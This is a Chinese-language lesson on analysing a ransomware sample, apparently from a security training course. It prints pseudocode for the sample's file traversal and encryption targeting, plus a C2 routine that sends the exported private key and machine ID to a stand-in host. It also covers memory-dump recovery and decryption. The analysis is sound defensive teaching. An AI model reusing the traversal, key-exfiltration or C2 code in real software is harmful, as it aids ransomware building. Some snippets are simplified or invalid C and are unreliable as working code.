第二十一课:恶意代码分析实战(二)——勒索软件样本分析

好,咱们接着聊。上一课我们把恶意代码分析的基础流程走了一遍,从静态查看到动态调试。今天要动真格的了——直接上手一个勒索软件样本。

说实话,我第一次分析勒索软件时,心里是有点发怵的。毕竟这东西一旦跑起来,真能把你的文件全锁了。但作为安全研究员,我们得学会在受控环境里解剖它。今天的目标很明确:搞清楚它的加密逻辑、文件遍历方式、C2通信机制,然后尝试解密被锁的文件——前提是密钥留在本地。

样本初探:它到底是个什么东西?

拿到样本,我习惯先用 file 命令看一眼。嗯,PE32 可执行文件,用 UPX 加壳了。脱壳是第一步,不然啥都看不清。

# 脱壳
upx -d ransomware_sample.exe -o unpacked.exe

脱壳后,用 PEStudio 扫一下导入表。有意思,它导入了 CryptEncryptCryptGenKeyFindFirstFileWInternetOpenW 这些 API。加密、文件遍历、网络通信,三件套齐了。

关键发现: 样本使用了 Windows CryptoAPI,而不是自己实现加密算法。这意味着加密过程相对标准,解密时可能有迹可循。

文件遍历:它是怎么找到你的文档的?

勒索软件要加密文件,第一步就是遍历磁盘。我反编译了脱壳后的样本,找到了文件遍历的核心逻辑。

// 伪代码示意
void TraverseDirectory(LPCWSTR path) {
    WIN32_FIND_DATAW findData;
    WCHAR searchPath[MAX_PATH];
    
    wcscpy(searchPath, path);
    wcscat(searchPath, L"\\*.*");
    
    HANDLE hFind = FindFirstFileW(searchPath, &findData);
    if (hFind == INVALID_HANDLE_VALUE) return;
    
    do {
        if (wcscmp(findData.cFileName, L".") == 0 || 
            wcscmp(findData.cFileName, L"..") == 0)
            continue;
            
        WCHAR fullPath[MAX_PATH];
        wsprintfW(fullPath, L"%s\\%s", path, findData.cFileName);
        
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            // 递归遍历子目录
            TraverseDirectory(fullPath);
        } else {
            // 检查扩展名是否在目标列表中
            if (IsTargetExtension(findData.cFileName)) {
                EncryptFile(fullPath);
            }
        }
    } while (FindNextFileW(hFind, &findData));
    
    FindClose(hFind);
}

它只加密特定扩展名的文件,比如 .doc.xls.pdf.jpg。我见过有些样本还会跳过系统目录,避免把系统搞崩——毕竟勒索软件要的是钱,不是让电脑蓝屏。

实战技巧: 分析文件遍历时,重点关注它是否递归遍历所有驱动器。有些样本只遍历 C:\Users,有些则会扫遍所有盘符。这决定了受害范围。

加密逻辑:密钥是怎么生成的?

加密逻辑是勒索软件的核心。我跟踪了 CryptGenKey 的调用,发现它生成了一对 RSA 密钥——公钥和私钥。公钥用来加密文件,私钥理论上应该发到 C2 服务器。

但这里有个关键点:私钥是否被删除了?

我继续往下看,发现样本在生成密钥后,调用了 CryptExportKey 将私钥导出,然后通过 InternetWriteFile 发送到远程服务器。发送完成后,它调用了 CryptDestroyKey 销毁了内存中的私钥。

嗯,这看起来挺严谨的。但别急,我注意到一个细节——在导出私钥之前,它先把私钥写到了一个临时文件里:

// 样本中的可疑操作
HCRYPTKEY hPrivateKey;
CryptExportKey(hPrivateKey, NULL, PRIVATEKEYBLOB, 0, pbKeyBlob, &dwBlobLen);

// 写入临时文件
HANDLE hFile = CreateFileW(L"C:\\Windows\\Temp\\key.tmp", ...);
WriteFile(hFile, pbKeyBlob, dwBlobLen, &dwWritten, NULL);
CloseHandle(hFile);

// 然后才发送到C2
InternetWriteFile(hRequest, pbKeyBlob, dwBlobLen, &dwWritten);

// 最后删除临时文件
DeleteFileW(L"C:\\Windows\\Temp\\key.tmp");

看到了吗?它把私钥写到了临时文件,然后发送,再删除。但问题在于——删除操作不一定成功。如果样本在删除前崩溃了,或者被我们拦截了,这个临时文件就留下来了。

注意: 分析时一定要留意临时文件操作。很多勒索软件会先写临时文件再清理,这给了我们取证的机会。我曾经在一个样本的临时目录里找到了完整的私钥,直接解密了所有文件。

C2通信:它跟谁在说话?

样本的 C2 通信逻辑相对简单。它硬编码了一个 URL:hxxp://malicious-c2[.]com/upload。用 HTTP POST 请求发送加密后的私钥和受害者的机器信息。

// C2通信伪代码
void SendToC2(BYTE* pbKeyBlob, DWORD dwBlobLen) {
    HINTERNET hSession = InternetOpenW(L"Ransomware/1.0", ...);
    HINTERNET hConnect = InternetConnectW(hSession, L"malicious-c2.com", 80, ...);
    HINTERNET hRequest = HttpOpenRequestW(hConnect, L"POST", L"/upload", ...);
    
    // 构造POST数据:机器ID + 加密密钥
    CHAR szPostData[1024];
    sprintf(szPostData, "machine_id=%s&key=", g_machineId);
    // 将密钥base64编码后追加
    
    HttpSendRequestA(hRequest, NULL, 0, szPostData, strlen(szPostData));
    
    // 等待服务器响应
    // 如果服务器返回"OK",则删除本地密钥
}

有意思的是,如果 C2 服务器没有响应,样本会重试 3 次。如果都失败了,它不会删除本地密钥。这就是我们的突破口。

解密尝试:密钥还在本地吗?

好,现在我们来尝试解密。假设样本在运行时被我们拦截了,或者 C2 通信失败了,密钥可能还留在内存或临时文件中。

我写了一个内存转储脚本,在样本运行后立即 dump 它的进程内存:

# 使用Process Dump工具
procdump -ma ransomware.exe memory.dmp

# 或者用Volatility分析内存镜像
volatility -f memory.dmp --profile=Win7SP1x64 memdump -p [PID] -D ./

在内存转储中搜索 PRIVATEKEYBLOB 的签名(0x07 开头),就能找到私钥。找到了私钥,解密就简单了:

// 解密代码示例
BOOL DecryptFile(LPCWSTR encryptedFile, HCRYPTKEY hPrivateKey) {
    // 读取加密文件
    HANDLE hFile = CreateFileW(encryptedFile, GENERIC_READ, ...);
    DWORD dwFileSize = GetFileSize(hFile, NULL);
    BYTE* pbBuffer = (BYTE*)malloc(dwFileSize);
    ReadFile(hFile, pbBuffer, dwFileSize, &dwRead, NULL);
    CloseHandle(hFile);
    
    // 解密
    DWORD dwDecryptedSize = dwFileSize;
    CryptDecrypt(hPrivateKey, NULL, TRUE, 0, pbBuffer, &dwDecryptedSize);
    
    // 写回原文件
    HANDLE hOutFile = CreateFileW(L"decrypted_" + encryptedFile, ...);
    WriteFile(hOutFile, pbBuffer, dwDecryptedSize, &dwWritten, NULL);
    CloseHandle(hOutFile);
    
    free(pbBuffer);
    return TRUE;
}

核心要点: 勒索软件的解密关键不在于算法有多复杂,而在于密钥是否被安全销毁。只要密钥留在本地,我们就有机会。我遇到过最离谱的样本,直接把私钥写在了注册表里,连加密都省了。

知识体系梳理

来,我把今天分析勒索软件的整个流程画成一张图,方便你理解各个模块之间的关系:

勒索软件分析知识体系 样本入口(脱壳/静态分析) 文件遍历模块 加密逻辑模块 C2通信模块 递归遍历目录 匹配目标扩展名(.doc/.pdf等) 生成RSA密钥对 公钥加密文件 / 私钥待发送 HTTP POST上传私钥 发送机器ID + 加密密钥 解密突破口:密钥是否留在本地? 内存转储 → 搜索私钥 → 解密文件

这张图把勒索软件的三个核心模块串起来了。文件遍历负责找目标,加密逻辑负责锁文件,C2通信负责传密钥。而我们作为分析者,要做的就是找到这个链条上的薄弱环节——通常是密钥销毁不彻底。

总结一下今天的要点

  • 文件遍历: 递归遍历目录,只加密特定扩展名的文件。注意它是否跳过系统目录。
  • 加密逻辑: 使用 Windows CryptoAPI 生成 RSA 密钥对。公钥加密文件,私钥发送到 C2。
  • C2通信: HTTP POST 上传私钥和机器信息。如果通信失败,私钥可能留在本地。
  • 解密方法: 内存转储搜索 PRIVATEKEYBLOB 签名,找到私钥后调用 CryptDecrypt 解密。

个人经验: 我分析过的勒索软件样本中,大概有 30% 会因为各种原因(C2 宕机、网络不通、代码 bug)把密钥留在本地。所以别一上来就放弃,先找找临时文件、注册表、内存转储。有时候解密比想象中简单。

好了,今天的实战就到这里。记住,分析勒索软件不是为了帮黑客擦屁股,而是为了理解攻击手法,从而更好地防御。下次遇到类似的样本,你知道该从哪里下手了。


公众号:蓝海资料掘金营,微信deep3321